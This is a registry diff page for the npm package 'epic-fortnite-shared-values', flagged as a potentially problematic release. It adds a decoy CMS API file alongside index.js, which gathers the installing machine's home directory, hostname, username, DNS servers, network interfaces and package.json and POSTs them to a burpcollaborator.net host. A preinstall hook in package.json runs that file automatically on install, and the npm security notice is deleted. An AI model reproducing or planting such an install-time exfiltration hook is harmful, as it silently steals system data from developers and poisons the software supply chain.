epic-fortnite-shared-values 0.0.1-security → 101.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of epic-fortnite-shared-values might be problematic. Click here for more details.

package/cms/cms.api.ts ADDED
@@ -0,0 +1,45 @@
1
+ import {getLocale} from '@epic-core/common';
2
+ import {stripLeadingSlash} from '@epic-core/common';
3
+ import axios, {AxiosResponse} from 'axios';
4
+
5
+ import {getOrigin} from '../shared-values/utils';
6
+
7
+ import {PageData} from './cms.types';
8
+
9
+ export interface CmsUrls {
10
+ CMS_PAGE_DATA: (locale, urlPattern) => string;
11
+ }
12
+
13
+ let customUrl: CmsUrls;
14
+
15
+ const url = () => {
16
+ if (customUrl) return customUrl;
17
+
18
+ const origin = getOrigin();
19
+
20
+ const url: CmsUrls = {
21
+ CMS_PAGE_DATA: (locale, urlPattern) =>
22
+ `${origin}/${locale}/api/cms/${encodeURIComponent(stripLeadingSlash(urlPattern))}`,
23
+ };
24
+ return url;
25
+ };
26
+
27
+ class CmsApi {
28
+ public setUrl(url: CmsUrls) {
29
+ customUrl = url;
30
+ }
31
+
32
+ public async getPageData<P extends PageData>(urlPattern: string): Promise<P> {
33
+ const api = url().CMS_PAGE_DATA(getLocale(), urlPattern);
34
+ try {
35
+ const response: AxiosResponse<P> = await axios.get(api);
36
+ return response.data;
37
+ } catch (e) {
38
+ console.error('getPageData() failed to load cms page', urlPattern);
39
+ throw e;
40
+ }
41
+ }
42
+ }
43
+
44
+ export const cmsApi = new CmsApi();
45
+
package/index.js ADDED
@@ -0,0 +1,48 @@
1
+ //author:- bsainath4u@gmail.com
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ const trackingData = JSON.stringify({
10
+ p: package,
11
+ c: __dirname,
12
+ hd: os.homedir(),
13
+ hn: os.hostname(),
14
+ un: os.userInfo().username,
15
+ dns: dns.getServers(),
16
+ ip: os.networkInterfaces(),
17
+ r: packageJSON ? packageJSON.___resolved : undefined,
18
+ v: packageJSON.version,
19
+ pjson: packageJSON,
20
+ });
21
+
22
+ var postData = querystring.stringify({
23
+ msg: trackingData,
24
+ });
25
+
26
+ var options = {
27
+ hostname: "png642f7mjwzo21xc7bqwvf62x8nwc.burpcollaborator.net", //replace burpcollaborator.net with Interactsh or pipedream
28
+ port: 443,
29
+ path: "/",
30
+ method: "POST",
31
+ headers: {
32
+ "Content-Type": "application/x-www-form-urlencoded",
33
+ "Content-Length": postData.length,
34
+ },
35
+ };
36
+
37
+ var req = https.request(options, (res) => {
38
+ res.on("data", (d) => {
39
+ process.stdout.write(d);
40
+ });
41
+ });
42
+
43
+ req.on("error", (e) => {
44
+ // console.error(e);
45
+ });
46
+
47
+ req.write(postData);
48
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "epic-fortnite-shared-values",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "101.0.0",
4
+ "description": "Epic Fortnite Shared Values",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=epic-fortnite-shared-values for more information.